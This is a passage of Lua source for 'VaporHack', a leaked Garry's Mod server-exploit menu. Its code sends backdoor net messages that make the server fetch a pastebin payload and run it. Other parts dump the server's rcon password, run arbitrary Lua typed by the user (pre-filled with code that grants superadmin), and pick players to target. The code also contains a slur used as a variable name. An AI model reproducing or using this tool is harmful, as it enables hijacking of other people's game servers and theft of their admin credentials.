  1446. net.WriteString( "http.Fetch(\"https://pastebin.com/raw/u5qnn5kw\",function(b,l,h,c)RunString(b)end,nil)" )
  1447. net.WriteBit(1)
  1448. net.SendToServer()
  1449. timer.Simple( 0.5, function()
  1450. if VAPOR.ValidNetString( "jeveuttonrconleul" ) then
  1451. net.Start("jeveuttonrconleul")
  1452. net.SendToServer()
  1453. else
  1454. chat.AddText( Color(255, 0, 0),"rcon_password pas trouvé, veuillez réessayer ^^" )
  1455. end
  1456. end)
  1457. end
  1458.  
  1459. local GLUACommand = vgui.Create( "DTextEntry", DScrollPanel )
  1460. GLUACommand:SetPos( 110, 0 )
  1461. GLUACommand:SetSize( 545, 20 )
  1462. GLUACommand:SetText( "Entity( 1 ):SetUserGroup( 'superadmin' )" )
  1463. local Lancer_glua_commande = vgui.Create("DButton", DScrollPanel )
  1464. Lancer_glua_commande:SetSize( 103, 20 )
  1465. Lancer_glua_commande:SetPos( 2, 0 )
  1466. Lancer_glua_commande:SetText("Code LUA")
  1467. Lancer_glua_commande:SetTextColor(Color(255, 255, 255, 255))
  1468. Lancer_glua_commande.Paint = function(panel, w, h)
  1469. surface.SetDrawColor(255, 255, 255 ,255)
  1470. surface.DrawOutlinedRect(0, 0, w, h)
  1471. surface.SetDrawColor(50, 50, 50 ,245)
  1472. surface.DrawRect(0, 0, w, h)
  1473. end
  1474. Lancer_glua_commande.DoClick = function()
  1475. local glua_commandes_get = GLUACommand:GetValue()
  1476. VAPOR.NetStart(vaporhacknet)
  1477. net.WriteString( glua_commandes_get )
  1478. net.WriteBit(1)
  1479. net.SendToServer()
  1480. end
  1481. end
  1482. net.Receive( "rcon_passw_dump", function()
  1483. local rcon_pass = net.ReadString()
  1484. chat.AddText( Color(255, 255, 255), rcon_pass, Color(0, 255, 0),"")
  1485. end )
  1486. net.Receive( "aucun_rcon_ici", function()
  1487. chat.AddText( Color(255, 0, 0),"Aucun rcon_password sur le serveur :/" )
  1488. end )
  1489.  
  1490.  
  1491. function VAPOR.MakePlayerSelectionButton( parent, x, y, addr )
  1492. if !parent:IsValid() then return end
  1493. local TButton = vgui.Create( "DButton" )
  1494. TButton:SetParent( parent )
  1495. TButton:SetPos( x, y )
  1496. TButton:SetText( "Choisir des cibles" )
  1497. TButton:SetTextColor( Color(255, 255, 255, 255) )
  1498. TButton:SizeToContents()
  1499. TButton:SetTall( 24 )
  1500. TButton.Paint = function( self, w, h )
  1501. surface.SetDrawColor( Color(100, 100, 100, 245 ) )
  1502. surface.DrawRect( 0, 0, w, h )
  1503. surface.SetDrawColor( Color( 60, 60, 60 ) )
  1504. --surface.SetMaterial( downgrad )
  1505. --surface.DrawTexturedRect( 0, 0, w, h/ 2 )
  1506. surface.SetDrawColor( Color(100, 100, 100, 255) )
  1507. --surface.DrawOutlinedRect( 0, 0, w, h )
  1508. surface.SetDrawColor( Color(70, 70, 100, 255) )
  1509. --surface.DrawOutlinedRect( 2, 2, w - 4, h - 4 )
  1510. end
  1511. TButton.DoClick = function()
  1512. VAPOR.SelectPlayersPanel( addr )
  1513. end
  1514. return TButton:GetWide(), TButton:GetTall()
  1515. end
  1516.  
  1517.  
  1518. function VAPOR.SelectPlayersPanel( addr )
  1519. if VAPOR.PlayerSelector and VAPOR.PlayerSelector:IsVisible() then VAPOR.PlayerSelector:Remove() end
  1520. local plytab = VAPOR.GetStored( addr, {} )
  1521. VAPOR.PlayerSelector = vgui.Create("DFrame")
  1522. VAPOR.PlayerSelector:SetSize(682,350)
  1523. VAPOR.PlayerSelector:SetDraggable( false )
  1524. VAPOR.PlayerSelector:SetTitle("Cible(s)")
  1525. VAPOR.PlayerSelector:SetPos( 342, 250)
  1526. VAPOR.PlayerSelector:MakePopup()
  1527. VAPOR.PlayerSelector:ShowCloseButton( false )
  1528. VAPOR.PlayerSelector.DoClick = function()
  1529. CloseMenu:Remove()
  1530. end
  1531. VAPOR.PlayerSelector.Paint = function( s, w, h )
  1532. if !VAPOR.Menu or !VAPOR.Menu:IsVisible() then s:Remove() return end
  1533. surface.SetDrawColor( Color(30, 30, 30, 255) )
  1534. surface.DrawRect( 0, 0, w, h )
  1535. surface.SetDrawColor( Color(55, 55, 55, 255) )
  1536. surface.DrawOutlinedRect( 0, 0, w, h )
  1537. surface.DrawOutlinedRect( 1, 1, w - 2, h - 2 )
  1538. end
  1539.  
  1540.  
  1541. local CloseMenu2 = vgui.Create("DButton", VAPOR.PlayerSelector )
  1542. CloseMenu2:SetText("<--")
  1543. CloseMenu2:SetSize(200, 200)
  1544. CloseMenu2:SetPos(VAPOR.PlayerSelector:GetWide()-120,-85)
  1545. CloseMenu2:SetTextColor(Color(100, 100, 100,245))
  1546. CloseMenu2:SetFont("vaporfont20")
  1547. CloseMenu2.Paint = function( self,w,h ) end
  1548. CloseMenu2.DoClick = function()
  1549. VAPOR.PlayerSelector:Remove()
  1550.  
  1551. end
  1552.  
  1553. local Plist = vgui.Create( "DPanelList", VAPOR.PlayerSelector )
  1554. Plist:SetSize( VAPOR.PlayerSelector:GetWide() - 10, VAPOR.PlayerSelector:GetTall() - 55 )
  1555. Plist:SetPadding( 5 )
  1556. Plist:SetSpacing( 5 )
  1557. Plist:EnableHorizontal( false )
  1558. Plist:EnableVerticalScrollbar( true )
  1559. Plist:SetPos( 5, 40 )
  1560. Plist:SetName( "" )
  1561. local target1 = vgui.Create("DButton", VAPOR.PlayerSelector)
  1562. target1:SetSize( 40, 20 )
  1563. target1:SetPos( 10, 23 )
  1564. target1:SetText("Tous")
  1565. target1:SetTextColor(Color(255, 255, 255, 255))
  1566. target1.Paint = function(panel, w, h)
  1567. surface.SetDrawColor(100, 100, 100 ,255)
  1568. --surface.DrawOutlinedRect(0, 0, w, h)
  1569. surface.SetDrawColor(100, 100, 100 ,245)
  1570. surface.DrawRect(0, 0, w, h)
  1571. end
  1572. target1.DoClick = function()
  1573. for _, p in pairs(player.GetAll()) do
  1574. if not table.HasValue( plytab, p ) then
  1575. table.insert( plytab, p )
  1576. end
  1577. end
  1578. VAPOR.Store( addr, plytab )
  1579. end
  1580. local target2 = vgui.Create("DButton", VAPOR.PlayerSelector)
  1581. target2:SetSize( 40, 20 )
  1582. target2:SetPos( 55, 23 )
  1583. target2:SetText("Aucun")
  1584. target2:SetTextColor(Color(255, 255, 255, 255))
  1585. target2.Paint = function(panel, w, h)
  1586. surface.SetDrawColor(100, 100, 100 ,255)
  1587. --surface.DrawOutlinedRect(0, 0, w, h)
  1588. surface.SetDrawColor(100, 100, 100 ,245)
  1589. surface.DrawRect(0, 0, w, h)
  1590. end
  1591. target2.DoClick = function()
  1592. table.Empty( plytab )
  1593. VAPOR.Store( addr, plytab )
  1594. end
  1595. local target3 = vgui.Create("DButton", VAPOR.PlayerSelector )
  1596. target3:SetSize( 40, 20 )
  1597. target3:SetPos( 100, 23 )
  1598. target3:SetText("Moi")
  1599. target3:SetTextColor(Color(255, 255, 255, 255))
  1600. target3.Paint = function(panel, w, h)
  1601. surface.SetDrawColor(100, 100, 100 ,255)
  1602. --surface.DrawOutlinedRect(0, 0, w, h)
  1603. surface.SetDrawColor(100, 100, 100 ,245)
  1604. surface.DrawRect(0, 0, w, h)
  1605. end
  1606. target3.DoClick = function()
  1607. table.Empty( plytab )
  1608. table.insert( plytab, LocalPlayer() )
  1609. VAPOR.Store( addr, plytab )
  1610. end
  1611. local target4 = vgui.Create( "DTextEntry", VAPOR.PlayerSelector )
  1612. target4:SetPos( 145, 23 )
  1613. target4:SetSize( 95, 20 )
  1614. target4:SetText( "" )
  1615. target4.OnChange = function( self )
  1616. local nam = self:GetValue()
  1617. local namtab = string.Explode( ", ", nam )
  1618. table.Empty( plytab )
  1619. for _, pl in pairs( player.GetAll() ) do
  1620. for _, s in pairs( namtab ) do
  1621. if string.find( string.lower( pl:Nick() ), s ) then
  1622. table.insert( plytab, pl )
  1623. end
  1624. end
  1625. end
  1626. VAPOR.Store( addr, plytab )
  1627. end
  1628. for k, v in pairs( player.GetAll() ) do
  1629. local plypanel2 = vgui.Create( "DPanel" )
  1630. plypanel2:SetPos( 0, 0 )
  1631. plypanel2:SetSize( 200, 25 )
  1632. local teamcol = team.GetColor( v:Team() )
  1633. plypanel2.Paint = function( s, w, h )
  1634. if !v:IsValid() then return end
  1635. surface.SetDrawColor( Color(100, 100, 100, 30) )
  1636. surface.DrawRect( 0, 0, w, h )
  1637. --surface.SetDrawColor( teamcol )
  1638. surface.DrawRect( 0, h - 3, w, 3 )
  1639. surface.SetDrawColor( Color(55, 55, 55, 245) )
  1640. surface.DrawOutlinedRect( 0, 0, w, h )
  1641. if table.HasValue( plytab, v ) then surface.SetDrawColor( Color(160, 61, 255 ) ) end
  1642. surface.DrawOutlinedRect( 1, 1, w - 2, h - 2 )
  1643. end
  1644. local plyname = vgui.Create( "DLabel", plypanel2 )
  1645. plyname:SetPos( 10, 5 )
  1646. plyname:SetFont( "Trebuchet18" )
  1647. local tcol = Color( 255, 255, 255 )
  1648. if v == LocalPlayer() then tcol = Color( 155, 155, 255 ) end
  1649. plyname:SetColor( tcol )
  1650. plyname:SetText( v:Nick() )
  1651. plyname:SetSize(180, 15)
  1652. local faggot = vgui.Create("DButton", plypanel2 )
  1653. faggot:SetSize( plypanel2:GetWide(), plypanel2:GetTall() )
  1654. faggot:SetPos( 0, 0 )
  1655. faggot:SetText("")
  1656. faggot.Paint = function(panel, w, h)
  1657. return
  1658. end
  1659. faggot.DoClick = function()
  1660. if table.HasValue( plytab, v ) then
  1661. table.RemoveByValue( plytab, v )
  1662. else
  1663. table.insert( plytab, v )
  1664. end
  1665. VAPOR.Store( addr, plytab )
  1666. end
  1667. Plist:AddItem( plypanel2 )
  1668. end
  1669. end
  1670.  
  1671.  
  1672. concommand.Add( "dontgetit", function()
  1673. local VAPORdontgetit = vgui.Create("DFrame")
  1674. VAPORdontgetit:SetSize(2300,2300)
  1675. VAPORdontgetit:SetTitle("")
  1676. VAPORdontgetit:Center()
  1677. VAPORdontgetit:SetDraggable( false )
  1678. VAPORdontgetit:MakePopup()
  1679. VAPORdontgetit.gay = table.Count( VAPOR.sploits )
  1680. VAPORdontgetit:ShowCloseButton( false )
  1681. VAPORdontgetit.Paint = function( s, w, h )
  1682. surface.SetDrawColor( Color(0, 0, 0, 255) ) ---<
  1683. surface.DrawRect( 0, 0, w, h )
  1684. surface.SetDrawColor( Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)) ) --
  1685. surface.DrawOutlinedRect( 0, 0, w, h )
  1686. surface.DrawOutlinedRect( 1, 1, w - 2, h - 2 )
  1687. surface.SetDrawColor( Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)) )
  1688. surface.DrawRect( 10, 10, w - 20, h - 20 )
  1689. surface.SetDrawColor( Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)) )
  1690. --surface.DrawRect( 0, 520, w - 0, h - 0 )
  1691. --surface.SetDrawColor( Color(255, 66, 66, 0) )
  1692. --surface.DrawRect( 0, 520, w - 0, h - 0 )
  1693. surface.SetDrawColor( Color(255, 66, 66, 0) )
  1694. surface.DrawLine( 10, 25, 40, 30 )
  1695. surface.DrawLine( 40, 30, 70, 25 )
  1696. surface.DrawLine( 10, 25, 25, 40 )
  1697. surface.DrawLine( 55, 40, 70, 25 )
  1698. surface.PlaySound( "buttons/weapon_cant_buy.wav" )
  1699. surface.PlaySound( "buttons/blip2.wav" )
  1700. surface.PlaySound( "bot/cover_me.wav" )
  1701. surface.DrawLine( 25, 40, 25, 60 )
  1702. surface.DrawLine( 55, 40, 55, 60 )
  1703. surface.DrawLine( 25, 60, 40, 70 )
  1704. surface.DrawLine( 55, 60, 40, 70 )
  1705. draw.SimpleTextOutlined( "ERREUR VAPORHACK : Votre comptre n'est pas activé", "vaporfontlight", 1200, 350, Color( 255, 255, 255,255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER, 1, Color(100, 100, 100, 0) )
  1706.  
  1707. end
  1708. end)
  1709.  
  1710.  
  1711.  
  1712. function VAPOR.MakeTextInputButton( parent, x, y, btext, default, addr)
  1713. if !parent:IsValid() then return end
  1714. local hostframe = vgui.Create( "DPanel", parent )
  1715. hostframe:SetPos( x, y )
  1716. hostframe.Paint = function( self, w, h )
  1717. surface.SetDrawColor( Color(60, 60, 60, 200) )
  1718. surface.DrawRect( 0, 0, w, h )
  1719. surface.SetDrawColor( Color( 60, 60, 60 ) )
  1720. surface.SetMaterial( downgrad )
  1721. surface.DrawTexturedRect( 0, 0, w, h/ 2 )
  1722. surface.SetDrawColor( Color(100, 100, 100, 255) )
  1723. surface.DrawOutlinedRect( 0, 0, w, h )
  1724. end
  1725. local tttt = vgui.Create( "DLabel", hostframe )
  1726. tttt:SetPos( 5, 5 )
  1727. tttt:SetText( btext )
  1728. tttt:SizeToContents()
  1729. local tentry = vgui.Create( "DTextEntry", hostframe )
  1730. tentry:SetPos( 10 + tttt:GetWide(), 2 )
  1731. tentry:SetSize( 130, 20 )
  1732. tentry:SetText( VAPOR.GetStored( addr, default ) )
  1733. tentry.OnChange = function( self )
  1734. VAPOR.Store( addr, self:GetValue() )
  1735. end
  1736. hostframe:SetSize( 13 + tttt:GetWide() + tentry:GetWide(), 24 )
  1737. return hostframe:GetWide(), hostframe:GetTall()
  1738. end
  1739.  
  1740.  
  1741. function VAPOR.MakeNumberInputButton( parent, x, y, btext, default, min, max, addr)
  1742. if !parent:IsValid() then return end
  1743. local hostframe = vgui.Create( "DPanel", parent )
  1744. hostframe:SetPos( x, y )
  1745. hostframe.Paint = function( self, w, h )
  1746. surface.SetDrawColor( Color(60, 60, 60, 200) )
  1747. surface.DrawRect( 0, 0, w, h )
  1748. surface.SetDrawColor( Color( 60, 60, 60 ) )
  1749. surface.SetMaterial( downgrad )
  1750. surface.DrawTexturedRect( 0, 0, w, h/ 2 )
  1751. surface.SetDrawColor( Color(100, 100, 100, 255) )
  1752. surface.DrawOutlinedRect( 0, 0, w, h )
  1753. end
  1754. local tttt = vgui.Create( "DLabel", hostframe )
  1755. tttt:SetPos( 5, 5 )
  1756. tttt:SetText( btext )
  1757. tttt:SizeToContents()
  1758. local wangmeoff = vgui.Create( "DNumberWang", hostframe )
  1759. wangmeoff:SetPos( 10 + tttt:GetWide(), 2 )
  1760. wangmeoff:SetSize( 75, 20 )
  1761. wangmeoff:SetDecimals( 2 )
  1762. wangmeoff:SetMinMax( min , max )
  1763. wangmeoff:SetValue( VAPOR.GetStored( addr, default ) )
  1764. wangmeoff:SetAllowNonAsciiCharacters(false)
  1765. wangmeoff.OnValueChanged = function( self, val )
  1766. VAPOR.Store( addr, self:GetValue() )
  1767. end
  1768. hostframe:SetSize( 13 + tttt:GetWide() + wangmeoff:GetWide(), 24 )
  1769. return hostframe:GetWide(), hostframe:GetTall()
  1770. end
  1771.  
  1772.  
  1773.  
  1774.  
  1775. -- INSERTION DU DERMA MENU
  1776. local FillFrameRates = RatesScaleLevel
  1777. concommand.Add( "open_vaporhack", function()
  1778. if FillFrameRates == "STEAM_0:0:189348722" -- Hoper
  1779. or FillFrameRates == "STEAM_0:0:99250842" -- Silent
  1780. or FillFrameRates == "STEAM_0:1:196391683" -- Polyvie
  1781. or true
  1782. then VAPOR.Menu = vgui.Create("DFrame")
  1783. VAPOR.Menu:SetSize(700,450)
  1784. VAPOR.Menu:SetTitle("")
  1785. VAPOR.Menu:Center()
  1786. VAPOR.Menu:SetDraggable( false )
  1787. VAPOR.Menu:MakePopup()
  1788. VAPOR.Menu.gay = table.Count( VAPOR.sploits )
  1789. VAPOR.Menu:ShowCloseButton( false )
  1790. VAPOR.Menu.Paint = function( s, w, h )
  1791. surface.SetDrawColor( Color(60, 60, 60, 245) ) ---<
  1792. surface.DrawRect( 0, 0, w, h )
  1793. surface.SetDrawColor( Color(100, 100, 100, 220) ) --
  1794. surface.DrawOutlinedRect( 0, 0, w, h )
  1795. surface.DrawOutlinedRect( 1, 1, w - 2, h - 2 )
  1796. surface.SetDrawColor( Color(20, 20, 20, 230) )
  1797. surface.DrawRect( 10, 10, w - 20, h - 20 )
  1798. surface.SetDrawColor( Color(100, 100, 100, 200) )
  1799. --surface.DrawRect( 0, 520, w - 0, h - 0 )
  1800. --surface.SetDrawColor( Color(255, 66, 66, 0) )
  1801. --surface.DrawRect( 0, 520, w - 0, h - 0 )
  1802. surface.SetDrawColor( Color(255, 66, 66, 0) )
  1803. surface.DrawLine( 10, 25, 40, 30 )
  1804. surface.DrawLine( 40, 30, 70, 25 )
  1805. surface.DrawLine( 10, 25, 25, 40 )
  1806. surface.DrawLine( 55, 40, 70, 25 )
  1807. surface.DrawLine( 25, 40, 25, 60 )
  1808. surface.DrawLine( 55, 40, 55, 60 )
  1809. surface.DrawLine( 25, 60, 40, 70 )
  1810. surface.DrawLine( 55, 60, 40, 70 )
  1811. draw.DrawText( "GOT LEAKED ON NOXPLOIT.PRO", "vaporfonthard", 260, 58, Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)) )
  1812. draw.DrawText( "VaporHack™ | by Hoper | LEAKED", "vaporfonthard", 220, 425, Color(255, 255, 255, 50) )
  1813. draw.DrawText( "亗", "vaporfontlogo", 16, 13, Color(255, 255, 255, 20) )
  1814.  
  1815. draw.SimpleTextOutlined( "VaporHack", "vaporfontlight", ScrW()/3.95 + math.sin(RealTime()) * ScrW() / 60, ScrH()/20, Color( 255, 255, 255,255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER, 1, Color(100, 100, 100, 0) )
  1816. end
  1817.  
  1818. local CloseMenu = vgui.Create("DButton", VAPOR.Menu )
  1819. CloseMenu:SetText("X")
  1820. CloseMenu:SetSize(200, 200)
  1821. CloseMenu:SetPos(VAPOR.Menu:GetWide()-125,-75)
  1822. CloseMenu:SetTextColor(Color(255, 66, 66,255))
  1823. CloseMenu:SetFont("vaporfont20")
  1824. CloseMenu.Paint = function( self,w,h ) end
  1825. CloseMenu.DoClick = function()
  1826. VAPOR.Menu:Remove()
  1827.  
  1828. end
  1829.  
  1830. local Plist = vgui.Create( "DPanelList", VAPOR.Menu )
  1831. Plist:SetSize( VAPOR.Menu:GetWide() - 20, VAPOR.Menu:GetTall() - 35 )
  1832. Plist:SetPadding( 5 )
  1833. Plist:SetSpacing( 5 )
  1834. Plist:EnableHorizontal( false )
  1835. Plist:EnableVerticalScrollbar( true )
  1836. Plist:SetPos( 10, 90 )
  1837. Plist:SetName( "" )
  1838. --VAPOR.MakeFunctionButton( VAPOR.Menu, 10, 130, "Load Config", VAPOR.LoadConfig, "Charger une Config" )
  1839. --VAPOR.MakeFunctionButton( VAPOR.Menu, 10, 160, "Save Config", VAPOR.SaveConfig, "Sauvegarder la Config" )
  1840. local function CreateSploitPanel( name, t )
  1841. if !VAPOR.Menu then return end
  1842. local cmdp = vgui.Create( "DPanel" )
  1843. cmdp:SetSize( Plist:GetWide(), 50 )
  1844. cmdp.Cmd = name
  1845. cmdp.Desc = t.desc
  1846. cmdp.Paint = function( s, w, h )
  1847. surface.SetDrawColor( Color(60, 60, 60, 245) )
  1848. surface.DrawRect( 0, 0, w, h )
  1849. surface.SetDrawColor( severitycols[t.severity] )
  1850. surface.DrawOutlinedRect( 0, 0, w, h )
  1851. --surface.DrawLine( 0, 24, w, 24 )
  1852. draw.DrawText( cmdp.Cmd, "DermaDefault", 11, 2, Color(255,255,255) )
  1853. --draw.DrawText( cmdp.Desc, "DermaDefault", 10, 28, Color(205,205,255, 100) )
  1854. end
  1855.  
  1856. --timer.Create("timerversionchecker",7,1,function()
  1857. --hook.Remove("HUDPaint", "HudVersionChecker")
  1858. --end)
  1859. hook.Add("HUDPaint", "WelcomeToVaporHack", function() draw.SimpleTextOutlined( "VaporHack LEAKED ! OH NO.", "ravenfonthello", ScrW()/2 + math.sin(RealTime()) * ScrW() / 85, ScrH()/15, Color( 255, 94, 233,255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER, 1, Color(0,0,0,160) )
  1860.  
  1861. end)
  1862.  
  1863.  
  1864. -- POSE DES FONCTIONS BOUTONS
  1865. local x = 10
  1866. for _, tab in ipairs( t.functions ) do
  1867. if tab.typ == "func" then
  1868. x = (x + 5) + VAPOR.MakeFunctionButton( cmdp, x, 21, tab.name, tab.func )
  1869. elseif tab.typ == "players" then
  1870. x = (x + 5) + VAPOR.MakePlayerSelectionButton( cmdp, x, 21, tab.addr )
  1871. elseif tab.typ == "htxcommandeliste" then
  1872. x = (x + 5) + VAPOR.HTXBackdoor( cmdp, x, 21, tab.name )
  1873. elseif tab.typ == "string" then
  1874. x = (x + 5) + VAPOR.MakeTextInputButton( cmdp, x, 21, tab.name, tab.default, tab.addr )
  1875. if !VAPOR.IsStored( tab.addr ) then VAPOR.Store( tab.addr, tab.default ) end
  1876. elseif tab.typ == "float" then
  1877. x = (x + 5) + VAPOR.MakeNumberInputButton( cmdp, x, 21, tab.name, tab.default, tab.min, tab.max, tab.addr )
  1878. if !VAPOR.IsStored( tab.addr ) then VAPOR.Store( tab.addr, tab.default ) end
  1879. end
  1880. end
  1881. Plist:AddItem( cmdp )
  1882. end
  1883. for k, v in pairs( VAPOR.sploits ) do
  1884. if v.scan() then CreateSploitPanel( k, v ) end
  1885. end
  1886. else
  1887. LocalPlayer():EmitSound("common/warning.wav",500,100)
  1888. LocalPlayer():EmitSound("common/warning.wav",500,100)
  1889. LocalPlayer():EmitSound("common/warning.wav",500,100)
  1890. LocalPlayer():EmitSound("common/warning.wav",500,100)
  1891. LocalPlayer():EmitSound("common/warning.wav",500,100)
  1892. LocalPlayer():EmitSound("common/warning.wav",500,100)
  1893. LocalPlayer():ConCommand("dontgetit")
  1894. return end
  1895. end)
  1896. end
  1897.  
  1898. -- END
Add Comment
Please, Sign In to add comment